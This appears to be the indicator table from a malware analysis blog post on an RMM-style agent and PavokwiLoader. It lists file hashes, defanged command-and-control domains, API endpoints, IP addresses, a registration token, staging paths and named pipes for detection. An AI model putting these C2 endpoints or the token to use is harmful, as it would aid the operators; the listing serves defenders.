3afabe2f9197f66460044083c708a5206291b2efe1138be1c763f60c47069787 SHA256 rmm.exe
softbymade[.]top Domain C2 server
hxxps://softbymade[.]top/api/v1/agents/register URL Registration endpoint
hxxps://softbymade[.]top/api/v1/agents/heartbeat URL Heartbeat / task polling
hxxps://softbymade[.]top/api/v1/agents/tasks//result URL Task result submission
r4iZqA7PmI1GDu0wlnvB1yB2sWDRrb5KYSRq9uCb7UI String Registration token (RMMC blob)
C:\ProgramData\RMMAgent\packages\ Path Payload staging directory
PavokwiLoader    
009c3f6d2dd110451414783d6b04639bd99032a1838ed75f066f530296256b94 SHA256 PavokwiLoader.exe
2a0886d6bcdb2bdac610c9e50e1e9002fa4b1df2e61da3386d156aa8021c6229 SHA256 Payload wrapper (decrypted)
41c7a0285a322cb047ddd1bbd91fa7a4301c68355448f3079897b62fc50dcbed SHA256 Final stage (decrypted)
wss://salobakodasofne[.]com/ws URL C2 slot 1
wss://ajdbsgjlgbdfgsdlfkbskldf[.]com/ws URL C2 slots 2 and 3
87[.]120[.]93[.]82 IPv4 Origin IP (LuxHost, behind Cloudflare)
s302643[.]love-is[.]nexus PTR Origin PTR record
chamaedorea[.]xyz Domain Earlier domain on same origin
104[.]21[.]80[.]234 IPv4 Cloudflare front
172[.]67[.]187[.]164 IPv4 Cloudflare front
27d40d40d00040d1dc42d43d00041d6183ff1bfae51ebd88d70384363d525c JARM TLS fingerprint
%APPDATA%\fontcachems Path Marker / fast-path enabler
\Device\NamedPipe\S. Named pipe Stream agent
\Device\NamedPipe\A. Named pipe File agent

References

Next Post

Shadow HVNC and Shadow Loader: The Kit That Protects Its License Better Than Its Customers

Shadow HVNC and Shadow Loader: The Kit That Protects Its License Better Than Its Customers

Start the conversation

Zero spam. Unsubscribe anytime.

--email

By subscribing you agree that we process your data to send you our newsletter. No third parties, no ads. Ever.